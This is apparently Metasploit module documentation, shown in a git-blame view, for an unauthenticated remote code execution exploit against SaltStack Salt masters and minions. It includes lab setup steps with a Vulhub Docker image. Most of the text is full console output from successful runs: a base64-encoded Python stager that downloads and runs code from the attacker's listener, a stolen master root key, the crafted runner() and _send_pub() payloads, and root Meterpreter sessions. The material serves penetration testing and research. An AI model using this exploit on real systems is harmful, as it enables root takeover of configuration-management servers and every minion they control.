Files
metasploit-gs/documentation/modules/exploit/linux/misc/saltstack_salt_unauth_rce.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

253 lines
14 KiB
Markdown
Raw Normal View History

2020-05-10 02:33:05 -05:00
## Vulnerable Application
### Description
This module exploits unauthenticated access to the `runner()` and
`_send_pub()` methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
by the Salt vulnerabilities.
2020-05-10 02:33:05 -05:00
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
well as Vulhub's Docker image.
### Setup
**Note:** I did the bulk of my testing after manually installing Salt in
an [Ubuntu 18.04 VM](#using-a-virtual-machine), but the [Docker image
from Vulhub](#using-docker) may be quicker. YMMV.
2020-05-10 02:33:05 -05:00
#### Using a virtual machine
1. Set up an Ubuntu 18.04 VM
2. Browse to [SaltStack's instructions for
Ubuntu](https://repo.saltstack.com/#ubuntu)
3. Select `Pin to Minor Release` and change all versions to either
**2019.2.3** or **3000.1**, depending on the version you wish to test
4. Follow the instructions, installing only the `salt-master` and
`salt-minion` packages necessary for testing
5. Follow the [post-installation
configuration](https://docs.saltstack.com/en/latest/ref/configuration/index.html)
You may now begin testing.
#### Using Docker
**Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and
[Docker Compose](https://docs.docker.com/compose/install/) must be
installed first.
**Note:** The Salt master is already configured and running in the
following scenario. The majority of the steps below are for configuring
and starting the minion. Version **2019.2.3** will be used.
1. Run `git clone https://github.com/vulhub/vulhub`
2. Run `cd vulhub/saltstack/CVE-2020-11651`
3. Run `docker-compose up -d` to start the container in the background
4. Run `docker exec -it cve-2020-11651_saltstack_1 bash` to drop to a
root shell inside the container
5. Run `echo $'127.0.0.1\tsalt' >> /etc/hosts` to add the master to
`/etc/hosts` (this allows the minion to find the master)
6. Run `salt-minion -d` to execute the minion in the background
7. Run `salt-key -A` and accept the key for the minion
You may now begin testing.
2020-05-10 02:33:05 -05:00
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Targets
### Master (Python payload)
This executes a Python payload on the master(s) specified by `RHOST(S)`.
### Master (Unix command)
This executes a Unix command payload on the master(s) specified by
`RHOST(S)`.
### Minions (Python payload)
This executes a Python payload on the minions specified by the `MINIONS`
option.
### Minions (Unix command)
This executes a Unix command payload on the minions specified by the
`MINIONS` option.
## Options
### ROOT_KEY
If you already have the master's root key, you may set it in this
option. Note that the master regenerates the root key on each startup.
2020-05-10 02:33:05 -05:00
### MINIONS
This is the PCRE regex of minions to execute the payload on. Defaults to
`.*` for all minions.
### WfsDelay
Set this to the number of seconds to wait for **all** sessions to come
in. Defaults to **10 seconds**, though the exploit may wait up to 20
seconds.
## Scenarios
### SaltStack Salt 2019.2.3 on Ubuntu 18.04
#### Executing Python payload on the master
```
msf5 > use exploit/linux/misc/saltstack_salt_unauth_rce
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Master (Python payload)
1 Master (Unix command)
2 Minions (Python payload)
3 Minions (Unix command)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > options
Module options (exploit/linux/misc/saltstack_salt_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
MINIONS .* yes PCRE regex of minions to target
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
ROOT_KEY no Master's root key if you have it
RPORT 4506 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
2020-05-10 02:33:05 -05:00
Payload options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Master (Python payload)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5
rhosts => 172.28.128.5
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506
[+] 172.28.128.5:4506 - Received serialized auth info
[+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the master: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting runner() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"runner", "fun"=>"salt.cmd", "kwarg"=>{"hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "fun"=>"cmd.exec_code", "lang"=>"python", "code"=>"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))"}, "user"=>"root", "key"=>"bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk="}
[+] 172.28.128.5:4506 - Received runner() response: "\x01\x00\x00<\x82\xA3jid\xB420200510102113141303\xA3tag\xBDsalt/run/20200510102113141303"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: kwpadl1s) Staging python payload (53902 bytes) ...
[*] Meterpreter session 1 opened (172.28.128.1:8443 -> 172.28.128.5:48236) at 2020-05-10 05:21:15 -0500
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu-bionic
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
```
#### Executing Python payload on the minions
```
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload)
target => Minions (Python payload)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the minions: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting _send_pub() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"_send_pub", "kwargs"=>{"bg"=>true, "hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "show_jid"=>false, "show_timeout"=>false}, "user"=>"root", "tgt"=>".*", "tgt_type"=>"pcre", "jid"=>"20200510102150723893", "fun"=>"cmd.exec_code", "arg"=>["python", "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))"]}
[+] 172.28.128.5:4506 - Received _send_pub() response: "\x01\x00\x00\x01\xC0"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: foe5rluh) Staging python payload (53883 bytes) ...
[*] Meterpreter session 2 opened (172.28.128.1:8443 -> 172.28.128.5:48388) at 2020-05-10 05:21:51 -0500
[+] 172.28.128.5:4506 - Deleted /var/cache/salt/minion/proc/20200510102150723893
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu-bionic
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
```